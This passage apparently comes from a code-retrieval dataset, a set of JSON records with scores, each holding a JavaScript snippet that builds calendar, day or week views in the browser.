{\r\n addDayBar(\".day-tasks\",index,dayStart-hoursOffset+i*5);\r\n }\r\n } \r\n\r\n });\r\n showDayStats();\r\n calendar.nowLineInterval = setInterval(showDayStats,1000);\r\n\r\n //TODO: refactor this with addTotalsBar()?\r\n function addDayBar(el,index,hours,label) {\r\n //99.84 ensures that line doesn't disappear at bottom:\r\n var height = (hours/24*99.84).toFixed(2)/1;\r\n label = label || '';\r\n var wrongDayStyle = (height > 100 || height < 0) ? \";background:red\" : '';\r\n if (height > 100) { \r\n height -= 100; index += 1;\r\n } else if (height < 0) {\r\n height += 100; index -= 1;\r\n } \r\n if (index >= 0 && index <= 6) {\r\n $(el+\":eq(\"+index+\")\").append(\"<div class=day-bar style='top:\"+height+\"%\"+wrongDayStyle+\"'>\"+label+\"</div>\");\r\n }\r\n }\r\n\r\n /* Assumes that startDate has already had weekOf() called on it! */\r\n function filterToWeek(startDate,tasks) {\r\n var weekStart = startDate.getTime(),\r\n weekEnd = new Date(weekStart);\r\n //WARNING: using daysInMonth from WAY up top out of sheer laziness\r\n //NOTE: this eliminates Week 5 overdraw, but preserves day-bleed\r\n //Proprietary to renderWeek(), so shouldn't be in here.\r\n var endDate = Math.min(startDate.getDate()+7,daysInMonth+1);\r\n weekEnd.setDate(endDate);\r\n\r\n var tasks = tasks || parsley.tasks\r\n // p(tasks.length);\r\n\r\n var filtered = tasks.filter(function(task) {\r\n var taskStart = task.startDate.getTime();\r\n return taskStart >= weekStart && taskStart < weekEnd.getTime();\r\n });\r\n // p(filtered.length);\r\n // p(filtered);\r\n return filtered;\r\n }\r\n\r\n }\r\n }", "title": "" }, { "docid": "c0ce775a9ede0dbd0ed47815c19898d9", "score": "0.62314457", "text": "function showCalendar() {\n var date = new Date();\n\n setText('calendar-day', dayCollection[date.getDay()]);\n setText('calendar-date', date.getDate());\n setText('calendar-month-year', monthCollection[date.getMonth()] + ' ' + (date.getYear()));\n\n function setText(id, val) {\n if (val < 10) {\n val = '0' + val;\n }\n document.getElementById(id).innerHTML = val;\n };\n}", "title": "" }, { "docid": "8c74039c23ecbf464b68f1752d62644f", "score": "0.6206601", "text": "function formatHeaderNav(activeDay) {\n //Set dates\n var d = new Date(activeDay);\n\n var dayOfWeek = d.getDay();\n var previousWeek = new Date();\n var nextWeek = new Date();\n var prevLink = \"\";\n var nextLink = \"\";\n \n //previousWeek.setTime(d.getTime() - ((24*60*60*1000) * 7));\n //nextWeek.setTime(d.getTime() + ((24*60*60*1000) * 7));\n\n previousWeek = addDays(d, -7);\n nextWeek = addDays(d, 7);\n\n var today = new Date();\n\n today.setHours('00');\n today.setMinutes('00');\n today.setSeconds('00');\n today.setMilliseconds('00');\n\n //console.log(settings.earliestEvent.valueOf(), addDays(d, -dayOfWeek).valueOf() , addDays(d, 6 - dayOfWeek).valueOf());\n //console.log(settings.latestEvent.valueOf(), previousWeek.valueOf());\n \n //if earliest event is before this sun\n if (settings.earliestEvent.valueOf() < addDays(d, -dayOfWeek).valueOf()) {\n prevLink ='<a href=\"?day='+previousWeek.toLocaleDateString()+'\">Previous Week</a>';\n }\n \n //if latest event is greater than this sat, show next week\n if (settings.latestEvent.valueOf() > addDays(d, 6 - dayOfWeek).valueOf()) {\n nextLink = '<a href=\"?day='+ nextWeek.toLocaleDateString() +'\">Next Week</a>';\n }\n\n var html = '<div class=\"schednav_ng\"><div class=\"tvweeks_ng\"><div class=\"column_ng prev_ng \">'+prevLink+'</div><div class=\"column_ng tvdate_ng\">'+getDayOfWeek(dayOfWeek) + ' - ' + d.toLocaleDateString()+ '</div><div class=\"column_ng next_ng\">'+nextLink+'</div></div><div class=\"clear\"></div><ul class=\"tvweekdays_ng\">';\n //Get days of week links, starts on sun\n var i;\n for (i = 0; i < 7; i+=1) {\n html += formatDay(i, dayOfWeek);\n }\n //Close ul,div\n html += '</ul></div>';\n \n return html;\n //Function to format HTML for links\n function formatDay (indexDayofWeek, activeDayofWeek) {\n var link = '';\n var indexDate = new Date();\n \n //indexDate.setDate(d.getDate() + indexDayofWeek - activeDayofWeek);\n indexDate = addDays(d, indexDayofWeek - activeDayofWeek);\n\n if (indexDayofWeek === activeDayofWeek) {\n link = getDayOfWeek(activeDayofWeek);\n } else {\n link = '<a href=\"?day=' + indexDate.toLocaleDateString() + '\">' + getDayOfWeek(indexDayofWeek) + '</a>';\n }\n return '<li>' + link + '</li>';\n }\n\n function showPrevLink(schedule) {\n //Start loop through data\n for(var i= 0; i < schedule.tv.programme.length; i=i+1) {\n\n }\n }\n }", "title": "" }, { "docid": "7a398e49dcb7822be51a18d0da7cbd7c", "score": "0.6199318", "text": "getWeek(date, daysOfEachWeek) {\n let days = [];\n for (let i = 0; i < daysOfEachWeek.length; i++) {\n days.push(\n <tr className=\"calendarDays\" key={i}>\n <Day\n date={date}\n daysOfWeek={daysOfEachWeek[i]}\n\n />\n </tr>\n );\n }\n\n return days;\n }", "title": "" }, { "docid": "7ff0e4b26736f02ca487df2c1e83ed3c", "score": "0.61925757", "text": "function showCalendar (mth, yr) {\n\t\t\n\t// Sets variables for variables based on calculations\t\t\n var firstDayOfMonth = mth + \"/1/\" + yr;\n var d = new Date( firstDayOfMonth );\n var numberOfDaysInMonth = daysInMonth(d);\n var firstDayOfWeek = d.getDay();\n\t//Begins a string concat\n\tvar str =\"\";\n\t//For loop while i is less than the first day of month plus the total days in month\n\tfor(var i = 0; i < firstDayOfWeek + numberOfDaysInMonth ; i++)\n\t{\t\n\t\t//if i divided by the modulus 7 is 0, create row\n\t\tif (i % 7== 0)\n\t\t\t{\n\t\tstr += '<div class= \"row\">';\t\t\t\n\t\t\t}\n\t\tstr += '<div class= \"day\">';\n\t\t//if i is less than or equal to first day of week, add i minus first day of week plus one\n\t\tif (i >= firstDayOfWeek)\n\t\t{\n\t\t\tstr += i - firstDayOfWeek + 1;\n\t\t}\n\t\t//Closes the day div\n\t\tstr += '</div>';\n\t\t//of i plus one divided by modulus of 7 is zero, close row div\n\t\tif (i+1 % 7==0)\n\t\t{\n\t\tstr += '</div>';\n\t\t}\n\t\t//creates a console log of what \"I\" is set set\n\t\t console.log(\"i is \" + i)\n\t}\n\t//Displays the str variable in html using results id\n $(\"#results\").html(str);\n\t\t// Function that makes day element clickable\n\t \t$('.day').click(function dayFunction() {\n\t\t\t//if day element clicked, style with classes array of three classes\n\t$(this).each(function dayFunction(){\n\t\tvar classes = ['day btnYes','day btnNo','day'];\n\t\t// Uses jQuery to select a class in array, and each click the next item in array is selected\n\t\tthis.className = classes[($.inArray(this.className, classes)+1)%classes.length];\n\t });\n\t});\n}", "title": "" }, { "docid": "c19e3a906987b4392172e3b41e2970ec", "score": "0.6180501", "text": "displayDate() {\n this._currentDay.html(this.date.format(\"dddd, MMMM Do\"));\n }", "title": "" }, { "docid": "ba232b9686407aee8d61ae269c61bd05", "score": "0.61799586", "text": "function renderCalendarLayout( monthMap ){\n cleanupDomNodesAndScopes();\n\n // Rebuild the calendar layout (no events attached, just days)\n var $renderTo = angular.element($element[0].querySelector('.calendar-render')),\n weekRows = Math.ceil( monthMap.calendarDayCount / 7 );\n\n // Set row classes on calendar-body\n angular.element($element.get(0).querySelector('.calendry-body'))\n .removeClass('week-rows-4 week-rows-5 week-rows-6')\n .addClass('week-rows-' + weekRows);\n\n // Render the calendar body\n //$renderTo.empty().append( getCalendarFragment(monthMap) );\n var fragment = getCalendarFragment(monthMap);\n\n // DECORATE EVERY DAY ELEMENT WITH A _moment PROPERTY VIA .data()\n Array.prototype.slice.call(fragment.childNodes).forEach(function(node, index){\n angular.element(node).data('_moment', monthMap.calendarDays[index]);\n });\n\n $renderTo.empty().append(fragment);\n }", "title": "" }, { "docid": "648c8ebdbf4cbbe2e13c0c356cb28d6c", "score": "0.6178443", "text": "function setCalendarWidget() {\n let title, color, line, content\n\n // default : do not show\n let maxNum = 3 // max number of line each has\n let calendarNum = -1\n let reminderNum = -1\n let calendarLength, reminderLength\n\n // 0 : calendar / 1 : reminder / 2 : monthly date\n if(!showCalendar[0] || !showCalendar[1]) maxNum = 7\n if(showCalendar[0]) {\n calendarLength = calendarJSON.length\n calendarNum = calendarLength > maxNum ? maxNum : calendarLength\n }\n if(showCalendar[1]) {\n reminderLength = reminderJSON.length\n reminderNum = reminderLength > maxNum ? maxNum : reminderLength\n }\n\n if(showCalendar[0] && showCalendar[1]) {\n if(calendarNum <= maxNum && reminderLength > maxNum) {\n reminderNum += maxNum - calendarNum\n if(reminderNum > reminderLength) {\n reminderNum = reminderLength\n }\n }\n else if(calendarLength > maxNum && reminderNum <= maxNum) {\n calendarNum += maxNum - reminderNum\n if(calendarNum > calendarLength) {\n calendarNum = calendarLength\n }\n }\n }\n\n box = outbox.addStack()\n box.layoutVertically()\n stack = box.addStack()\n stack.layoutVertically()\n\n // Show calendar\n if(showCalendar[0]) {\n stack.url = 'calshow://'\n line = stack.addStack()\n if(isCalendarRight) line.addSpacer()\n setText(line, localeJSON.calendar,userSetting.fontSize.small, true)\n if(calendarNum == 0) {\n setText(line, ' 0', userSetting.fontSize.small, true, userSetting.color.gray)\n }\n else {\n if(calendarJSON.length > calendarNum) {\n let text = ' +'+(calendarJSON.length-calendarNum)\n setText(line, text, userSetting.fontSize.small, true, userSetting.color.gray)\n }\n stack.addSpacer(userSetting.calendarSpacer)\n getCalendarContent(calendarNum, calendarJSON,\n isCalendarRight, true)\n }\n }\n\n if(showCalendar[0] && showCalendar[1]) {\n stack.addSpacer(10)\n stack = box.addStack()\n stack.layoutVertically()\n }\n\n // Show reminder\n if(showCalendar[1]) {\n stack = box.addStack()\n stack.layoutVertically()\n stack.url = 'x-apple-reminderkit://'\n line = stack.addStack()\n\n if(isCalendarRight) line.addSpacer()\n setText(line, localeJSON.reminder, userSetting.fontSize.small, true)\n if(reminderNum == 0) {\n setText(line, '0', userSetting.fontSize.small, true, userSetting.color.gray)\n }\n else {\n if(reminderJSON.length > reminderNum) {\n let text = ' +'+(reminderJSON.length-reminderNum)\n setText(line, text, userSetting.fontSize.small, true, userSetting.color.gray)\n }\n stack.addSpacer(userSetting.calendarSpacer)\n getCalendarContent(reminderNum, reminderJSON,\n isCalendarRight, false)\n }\n }\n}", "title": "" }, { "docid": "cb80e7acc6a5c8377c28b1d8cbc44abf", "score": "0.61719006", "text": "function Calendar(newDate) {\n var msg = ''; // Final output string\n var dayIndex = 1; // Day of week being processed\n var monthStarted = false; // Has the month started?\n var container = document.getElementById(\"calendarContainer\"); // HTML Element to print calendar to\n var header = document.getElementById(\"calendarHeader\"); // HTML Element to print header to\n \n if (newDate != null && typeof newDate.getDate() == \"number\"){\n TDAY = newDate;\n // Reinitialize globals that depend on TDAY\n MONTHSTARTSON = new Date(TDAY.getFullYear(), TDAY.getMonth(), 1); // First day of month\n MONTHENDSON = new Date(TDAY.getFullYear(), TDAY.getMonth() + 1, 0); // Last day of month\n CURRENTDATE = MONTHSTARTSON; // Date currently being processed\n WEEKNUMBER = 0; // The week of the month CURRENTDATE occurs in\n }\n \n // Build days of current week\n function DayLoop(i) {\n var today = new Date();\n for (j = 0; j < 7; j++){\n \n msg += '<div class=\"day ';\n \n if (TDAY.getYear() == today.getYear() &&\n TDAY.getMonth() == today.getMonth() &&\n dayIndex == today.getDate() && \n (j == MONTHSTARTSON.getDay() || monthStarted == true)){\n // Red BG color for today\n msg += 'today '; \n }\n else if (dayIndex == TDAY.getDate() && (j == MONTHSTARTSON.getDay() || monthStarted == true)){\n // Red border color for TDAY\n msg += 'selectedDay '; \n };\n if (j == 0 || j == 6){\n // Dark gray BG for weekend day\n msg += 'weekend'\n };\n msg += '\" data-day=\"'+ dayIndex +'\">';\n \n if(j == MONTHSTARTSON.getDay() || monthStarted == true){\n monthStarted = true; // The month has started\n if (dayIndex > MONTHENDSON.getDate()){\n // We've exceeded the number of days in the month\n msg += \"&nbsp;\";\n }\n else{\n msg += dayIndex + \"<br><small>\";\n msg += Appointments.day();\n msg += \"</small>\"; // End of appointments block\n dayIndex++;\n };\n CURRENTDATE = new Date(TDAY.getFullYear(), TDAY.getMonth(), dayIndex);\n };\n msg += \"</div>\"; // End of day cell\n \n // If we're at the end of the loops and haven't made it to the last day of the month, \n // add one more week to finish it off.\n if (i == 4 && j == 6 && CURRENTDATE <= MONTHENDSON)\n {\n msg += '</div>'; // End of week row\n WEEKNUMBER++;\n \n // Start the new week\n msg += '<div class=\"wk\" id=\"Week'+ (i+1) +'\">';\n DayLoop(i+1);\n }\n }\n }\n \n // Build weeks of current month\n for (i = 0; i < 5; i++){\n msg += '<div class=\"wk\">';\n \n DayLoop(i);\n \n msg += '</div>'; // End of week row\n \n WEEKNUMBER++;\n };\n \n CURRENTDATE = MONTHSTARTSON;\n \n // Append output to relative DOM elements\n header.innerHTML = \"<h1>\" + MONTHS[TDAY.getMonth()] + \" \" + TDAY.getFullYear() + \"</h1>\" + ORIGCONTENT2;\n container.innerHTML = ORIGCONTENT1 + msg;\n \n // Place ellipsis on long APPT titles\n $('.appt').ellipsis();\n \n // Setup event handlers\n $('#calendarContainer > .wk > .day').on('click', function(){\n var day = this.getAttribute('data-day');\n var date = new Date(TDAY.getFullYear(), TDAY.getMonth(), day);\n if ($(\"#popup > #calendarContainer\")) {\n CalendarPopup.chooseDate(date);\n };\n Calendar(date);\n });\n \n // This is necessary each time Calendar() is called, \n // not sure how else to handle it.\n if (clickAjaxOverride != null)\n $('.appt').each(clickAjaxOverride);\n}", "title": "" }, { "docid": "3749d8c8778fbc0df9d948e3f7eba517", "score": "0.6156015", "text": "function createCalendar(firstWeekDay, cMonth, cYear, activeDay=null)\n{\n\tcalendar = \"\"; //Here we're gonna put all the content of the calendar\n\tif (firstWeekDay == 0)\n\t{\n\t\tcalendar += \"<li></li><li></li><li></li><li></li><li></li><li></li>\"; //If the month starts in Sunday, we put all the empty days of the Calendar\n\t}\n\telse\n\t{\n\t\tfor (i = 1; i < firstWeekDay; i++)\n\t\t{\n\t\t\tcalendar += \"<li></li>\"; //Depending of the starting day of the month, we put some empty days\n\t\t}\n\t}\n\tmI = getMonthInitials(cMonth); //We search for the initials of the month\n\n\tdocument.getElementById('monthName').innerHTML = \"<p>\"+festivity[mI].monthName+\"</p><br><span style='font-size:18px'>5E\"+cYear+\"</span>\"; //We put in the calendar the name of the month\n\tdocument.getElementById('monthBanner').style.backgroundImage = \"url('img/bg/\"+mI+\".jpg')\"; //We put the image corresponding to the month\n\n\tfor (d = 1; d <= festivity[mI].numberOfDays; d++)\n\t{\n\t\tif (activeDay != null && activeDay == d)\n\t\t{\n\t\t\tif (festivity[mI][\"d\"+d] != null)\n\t\t\t{\n\t\t\t\tcalendar += \"<li class='active event tooltip'><p>\"+d+\"</p><span class='tooltiptext'>\"+festivity[mI][\"d\"+d].name+\"</span></li>\"; //If is the actual day and there's an event\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcalendar += \"<li class='active'><p>\"+d+\"</p></li>\"; //If is the actual day\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (festivity[mI][\"d\"+d] != null)\n\t\t\t{\n\t\t\t\tcalendar += \"<li class='event tooltip'><p>\"+d+\"</p><span class='tooltiptext'>\"+festivity[mI][\"d\"+d].name+\"</span></li>\"; //if there's an event\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcalendar += \"<li><p>\"+d+\"</p></li>\"; //A normal day\n\t\t\t}\n\t\t}\n\t}\n\n\tdocument.getElementById('calendarDays').innerHTML = calendar; //We put the content in the calendar\n}", "title": "" }, { "docid": "0b15852657239ae793269b0b2e0b1633", "score": "0.61514926", "text": "function makeDayGridSubclass(SuperClass){return(/** @class */function(_super){tslib_1.__extends(SubClass,_super);function SubClass(){var _this=_super!==null&&_super.apply(this,arguments)||this;_this.colWeekNumbersVisible=false;// display week numbers along the side?\nreturn _this;}// Generates the HTML that will go before the day-of week header cells\nSubClass.prototype.renderHeadIntroHtml=function(){var view=this.view;if(this.colWeekNumbersVisible){return''+'<th class=\"fc-week-number '+view.calendar.theme.getClass('widgetHeader')+'\" '+view.weekNumberStyleAttr()+'>'+'<span>'+// needed for matchCellWidths\nutil_1.htmlEscape(this.opt('weekNumberTitle'))+'</span>'+'</th>';}return'';};// Generates the HTML that will go before content-skeleton cells that display the day/week numbers\nSubClass.prototype.renderNumberIntroHtml=function(row){var view=this.view;var weekStart=this.getCellDate(row,0);if(this.colWeekNumbersVisible){return''+'<td class=\"fc-week-number\" '+view.weekNumberStyleAttr()+'>'+view.buildGotoAnchorHtml(// aside from link, important for matchCellWidths\n{date:weekStart,type:'week',forceOff:this.colCnt===1},weekStart.format('w')// inner HTML\n)+'</td>';}return'';};// Generates the HTML that goes before the day bg cells for each day-row\nSubClass.prototype.renderBgIntroHtml=function(){var view=this.view;if(this.colWeekNumbersVisible){return'<td class=\"fc-week-number '+view.calendar.theme.getClass('widgetContent')+'\" '+view.weekNumberStyleAttr()+'></td>';}return'';};// Generates the HTML that goes before every other type of row generated by DayGrid.\n// Affects helper-skeleton and highlight-skeleton rows.\nSubClass.prototype.renderIntroHtml=function(){var view=this.view;if(this.colWeekNumbersVisible){return'<td class=\"fc-week-number\" '+view.weekNumberStyleAttr()+'></td>';}return'';};SubClass.prototype.getIsNumbersVisible=function(){return DayGrid_1.default.prototype.getIsNumbersVisible.apply(this,arguments)||this.colWeekNumbersVisible;};return SubClass;}(SuperClass));}", "title": "" }, { "docid": "bfd1dcc11b55677b4784392f3067852d", "score": "0.61492854", "text": "function initCalendar() {\n document.getElementById(\"month-display\").innerHTML += '<tr> <td id=\"current-month-text\" colspan=\"7\"> </td> </tr>';\n document.getElementById(\"month-display\").innerHTML += '<tr id = \"week-days\">';\n\n let days = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"];\n let weekDaysText = \"\";\n for (let i = 0; i < days.length; i++) {\n weekDaysText += '<th class=\"calendar-0lax\">' + days[i] + '</th>';\n }\n weekDaysText+= \"</tr>\";\n document.getElementById(\"week-days\").innerHTML = weekDaysText;\n for (let i = 0; i < 6; i++) {\n //giving each table tow appropriate username\n document.getElementById(\"month-display\").innerHTML += '<tr id=\"week-display' + i + '\"></tr>';\n for (let j = 0; j < 7; j++) {\n //giving each table cell appropriate username\n let emptyRows = '<td id = \"day-display' + i + \",\" + j + '\" class=\"calendar-0lax\">' + \"\" + '</td>';\n document.getElementById(\"week-display\" + i).innerHTML += emptyRows;\n }\n }\n\tdisplayCalendarData(currentMonth);\n}", "title": "" }, { "docid": "d9e5ed336cbf9eadd5a876bfd440ef22", "score": "0.6123631", "text": "renderCells() {\n const startDate = dateFns.startOfWeek(this.props.startDate);\n const endDate = dateFns.addDays(this.props.startDate, this.props.numOfDays);\n const dayDateFormat = \"D\";\n const headerDateFormat = \"MMMM YYYY\";\n let headerKey = 0;\n let days = [];\n let day = startDate;\n let formattedDate = \"\";\n \n while (day <= endDate) {\n for (let i = 0; i < 7; i++) {\n // This snippet adds headers to the calendar between months but pushes the calendar days around.\n if (dateFns.isFirstDayOfMonth(day)) {\n days.push(\n <React.Fragment key={headerKey}>\n <Grid>\n <Divider horizontal>\n <Header textAlign=\"center\">{dateFns.format(day, headerDateFormat)}</Header>\n </Divider>\n </Grid>\n </React.Fragment>\n )\n headerKey++\n }\n formattedDate = dateFns.format(day, dayDateFormat);\n // pushes calendar days to calendar\n days.push(\n <Grid.Column key={day}>\n <Segment color={this.dayColors(day, endDate)} inverted>\n {formattedDate}\n </Segment>\n </Grid.Column>\n )\n day = dateFns.addDays(day, 1);\n }\n }\n return (\n <Grid.Row key={day}>\n {days}\n </Grid.Row>\n )\n }", "title": "" }, { "docid": "21317b3bd09fa5d2d61142f79a05b205", "score": "0.60906565", "text": "function init() {\n displayDate();//Update the table to highlight what day it is\n}", "title": "" }, { "docid": "02507638c4ce206d68584ab1063dc547", "score": "0.60874295", "text": "function initializeCalendar() {\n\t\t//Adds the calendar header to the HTML variable\n\t\tvar calendarHTML = \"<table id=\\\"calendar\\\"><thead class=\\\"calendar__title\\\"><th class=\\\"calendar__title--currentmonth\\\" colspan=\\\"7\\\"><span id=\\\"thisMonth\\\">\"+ currentMonthName +\"</span> <span id=\\\"thisYear\\\">\"+ currentYearYYYY +\"<span></th></thead><tbody><tr class=\\\"calendar__title--daysofweek\\\"><td>Sun</td><td>Mon</td><td>Tue</td><td>Wed</td><td>Thu</td><td>Fri</td><td>Sat</td></tr>\";\n\n\t\t\t//Verifies how many days needs to be ploted in the current month\n\t\t\tnumberOfDays = dayPerMonth[month];\n\n\t\t\t//Verifies how many days needs to be left blank\n\t\t\tvar dayCounter = 1;\n\t\t\tvar blankCounter = 1;\n\t\t\tvar weekdaysDefault = weekdays;\n\t\t\tvar end = 0;\n\t\t\t//Defines how many days needs to be ploted on the fist line\n\t\t\textraDays = 7-weekdaysDefault;\n\n\n\t\t\t//Loops how many lines are needed to complete the month\n\t\t\twhile (dayCounter <= numberOfDays) {\n\t\t\t\tif (end == 1) {break};\n\n\t\t\t\tcalendarHTML += \"<tr class=\\\"calendar__days\\\">\";\n\n\t\t\t\t\t//Adds the blank days of the previous month\n\t\t\t\t\twhile (blankCounter <= weekdays) {\n\t\t\t\t\t calendarHTML += \"<td id=\\\"othermonth-\"+weekdays+\"\\\" class=\\\"calendar__days--beforetoday\\\">&nbsp;</td>\";\n\t\t\t\t\t weekdays--;\n\t\t\t\t\t};\n\n\t\t\t\t\t var counter = 1;\n\n\t\t\t\t\t //Loops each line of the calendar\n\t\t\t\t\t while ( counter <= extraDays) {\n\n\n\n\t\t\t\t\t\t\t//Add classes for days before current day and for current day\n\t\t\t\t\t \t\tif (dayCounter < day) {\n\t\t\t\t\t \t\t\tclassname = \"calendar__days--beforetoday\";\n\t\t\t\t\t \t\t} else if (dayCounter == day) {\n\t\t\t\t\t \t\t\tclassname = \"calendar__days--current\";\n\t\t\t\t\t \t\t} else {\n\t\t\t\t\t \t\t\tclassname = \"\";\n\t\t\t\t\t \t\t}\n\t\t\t\t\t \t\t\n\n\t\t\t\t\t \t\t//Adds each day to the HTML\n\t\t\t\t\t\t\tcalendarHTML += \"<td id=\\\"\"+monthPlus+\"\"+dayCounter+\"\"+currentYearYYYY+\"\\\" month=\\\"\"+monthPlus+\"\\\" day=\\\"\"+dayCounter+\"\\\" year=\\\"\"+currentYearYYYY+\"\\\" class=\\\"\"+classname+\"\\\">\"+dayCounter+\"</td>\";\n\n\t\t\t\t\t\t\tif (dayCounter == numberOfDays) {\n\t\t\t\t\t\t\t\tend = 1;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcounter++;\n\t\t\t\t\t\t\tdayCounter++;\n\t\t\t\t\t\t\t\n\t\t\t\t\t }\n\n\t\t\t\t\t //Sets the number of lines to default after first line and restart line counter\n\t\t\t\t\t extraDays = 7;\n\t\t\t\t\t var counter = 1;\n\t\t\t\t//Ends each line\n\t\t\t\tcalendarHTML += \"</tr>\";\n\t\t\t};\n\n\t\t//Ends the calendar\t\n\t\tcalendarHTML += \"</tbody></table>\";\n\n\t\t$(\"#calendarArea\").html(calendarHTML);\n\t}", "title": "" }, { "docid": "a819cbe07ab602e05d7eeb3be993d41f", "score": "0.6083001", "text": "function renderDay(day) {\n const clickedDay = day.getDate();\n // months array begin to 0\n const month = day.getMonth() + 1;\n const year = day.getFullYear();\n const date = clickedDay + \"/\" + month + \"/\" + year;\n const appointmentsStyle = {\n fontSize: \"14px\",\n textAlign: \"center\",\n display: \"flex\",\n flexDirection: \"column\",\n backgroundColor: \"var(--medium2)\",\n boxShadow: \"2px 2px 3px var(--dark1)\",\n borderRadius: \"5px\",\n marginTop: \"2px\",\n };\n\n return (\n <div>\n <div\n style={\n selectDay && selectDay === date\n ? {\n fontSize: \"x-large\",\n color: \"#e5ffff\",\n backgroundColor: \"var(--dark1)\",\n borderRadius: \"50%\",\n padding: \"4px\",\n boxShadow: \"2px 2px 3px var(--basicDark)\",\n }\n : null\n }\n >\n {clickedDay}\n </div>\n {/* filter and mapping Dates and selected day */}\n {appointments\n .filter((appointment) => appointment.day === date)\n .map((appointment, i) => {\n return (\n <div key={i} style={appointmentsStyle}>\n <div>\n ︎<div>{appointment.name}</div>\n <div>\n <sup className=\"supDay\"> 🕛 {appointment.hourInitial} </sup>{\" \"}\n <sup className=\"supDay\">➡ {appointment.finalHour} </sup>\n </div>\n </div>\n </div>\n );\n })}\n </div>\n );\n }", "title": "" }, { "docid": "d2687d08b78823afceed27626014a185", "score": "0.6081539", "text": "function changeCalendar(){\n\n calenderBody.innerHTML = \"\";\n let dateObj = new Date(2021,monthCounter - 1,1);\n let currentDate = dateObj.getDate();\n let currentMonth = dateObj.getMonth();\n let currentYear = dateObj.getFullYear();\n let firstDayOfMonth = new Date(currentYear,currentMonth,1);\n let daysInMonth = new Date(currentYear,currentMonth + 1, 0).getDate();\n \n let dateString = firstDayOfMonth.toLocaleDateString('en-us',{\n weekday:'long',\n year:'numeric',\n month: 'numeric',\n day: 'numeric',\n });\n\n let padding = weekdayNames.indexOf(dateString.split(', ')[0]);\n\n for(let i =1, index = 0;i <= daysInMonth+padding; i++,index++){\n if(i < 8 && i <= padding){\n calenderBody.insertAdjacentHTML('beforeend',`<div class=\"padding\"><div>${weekdayNames[index]}</div></div>`);\n }\n else if(i < 8){\n calenderBody.insertAdjacentHTML('beforeend',`<div class=\"day\" value = \"${i - padding}\"><div>${weekdayNames[index]}</div>${i - padding}</div>`);\n }\n else if (i > 7){\n calenderBody.insertAdjacentHTML('beforeend',`<div class=\"day\" value = \"${i - padding}\">${i - padding}</div>`);\n }\n };\n}", "title": "" }, { "docid": "023642dc1be43e7b85fc408d1a507060", "score": "0.6080885", "text": "function createDayView() {\n const dayViewContainer = document.createElement('div');\n dayViewContainer.classList.add(style.dayViewContainer);\n dayViewContainer.appendChild(createDay('Today', today, false /*TODO listener a mai napokra */));\n return dayViewContainer;\n }", "title": "" }, { "docid": "922ee1c390a7b7a3cd959cfaf050db00", "score": "0.6078954", "text": "function datesBlock() {\n d = dateView.config.days;\n m = dateView.config.month;\n for (var v = 1; v <= d; v++) {\n dateLabelsElement.append(\"<span class='block'><span class='rotate'>2013-\"+m+\"-\"+v+\"</span></span>\");\n }\n }", "title": "" }, { "docid": "1fe021dc381afa4bce44ad74aae52164", "score": "0.6078442", "text": "function displayDay() {\n day = date.getDay();\n var days = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"]\n dayToday.innerHTML = days[day]\n}", "title": "" }, { "docid": "8203599042d4321d16fa9ec2b5b8b510", "score": "0.6075949", "text": "clearCalendarText() {\n for(var i=0; i<MAX_DAYS_IN_MONTH_DISPLAY; i++) {\n this.displayDays[i].setText(\"\");\n }\n }", "title": "" }, { "docid": "fbf9154f42f302811936999cf10c8879", "score": "0.60565716", "text": "function render() {\n\t\tvar options = calendar.options;\n\t\tvar sections = options.header;\n\n\t\ttm = options.theme ? 'ui' : 'fc';\n\n\t\tif (sections) {\n\t\t\tif (!el) {\n\t\t\t\tel = this.el = $(\"<div class='fc-toolbar'/>\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tel.empty();\n\t\t\t}\n\t\t\tel.append(renderSection('left'))\n\t\t\t\t.append(renderSection('right'))\n\t\t\t\t.append(renderSection('center'))\n\t\t\t\t.append('<div class=\"fc-clear\"/>');\n\t\t}\n\t\telse {\n\t\t\tremoveElement();\n\t\t}\n\t}", "title": "" }, { "docid": "fbf9154f42f302811936999cf10c8879", "score": "0.60565716", "text": "function render() {\n\t\tvar options = calendar.options;\n\t\tvar sections = options.header;\n\n\t\ttm = options.theme ? 'ui' : 'fc';\n\n\t\tif (sections) {\n\t\t\tif (!el) {\n\t\t\t\tel = this.el = $(\"<div class='fc-toolbar'/>\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tel.empty();\n\t\t\t}\n\t\t\tel.append(renderSection('left'))\n\t\t\t\t.append(renderSection('right'))\n\t\t\t\t.append(renderSection('center'))\n\t\t\t\t.append('<div class=\"fc-clear\"/>');\n\t\t}\n\t\telse {\n\t\t\tremoveElement();\n\t\t}\n\t}", "title": "" }, { "docid": "fbf9154f42f302811936999cf10c8879", "score": "0.60565716", "text": "function render() {\n\t\tvar options = calendar.options;\n\t\tvar sections = options.header;\n\n\t\ttm = options.theme ? 'ui' : 'fc';\n\n\t\tif (sections) {\n\t\t\tif (!el) {\n\t\t\t\tel = this.el = $(\"<div class='fc-toolbar'/>\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tel.empty();\n\t\t\t}\n\t\t\tel.append(renderSection('left'))\n\t\t\t\t.append(renderSection('right'))\n\t\t\t\t.append(renderSection('center'))\n\t\t\t\t.append('<div class=\"fc-clear\"/>');\n\t\t}\n\t\telse {\n\t\t\tremoveElement();\n\t\t}\n\t}", "title": "" }, { "docid": "83df361196aa2f7b805c2dcc0ce72b41", "score": "0.60501677", "text": "renderDayName() {\n const days = ['Sun','Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];\n return days.map((day) => <div className=\"day-render day-name\" key={day}>{day}</div>);\n }", "title": "" }, { "docid": "88153703837c67e0d1196b8b01b91e0b", "score": "0.604515", "text": "function getCalendar(dayStart, days, day){\r\n\t//console.log(\"in function\");\r\n\t/*\r\n\t*create table HTML element\r\n\t*/\r\n\tvar table = document.createElement('table');\r\n\t/*\r\n\t*create tr HTML element\r\n\t*/\r\n\tvar tr = document.createElement('tr');\r\n\r\n\t/*\r\n\t*creates 7 columns in one row containing the letters S M T W T F S for the days of the week\r\n\t*/\r\n\tfor(var i=0; i<=6;i++){\r\n\t\tvar 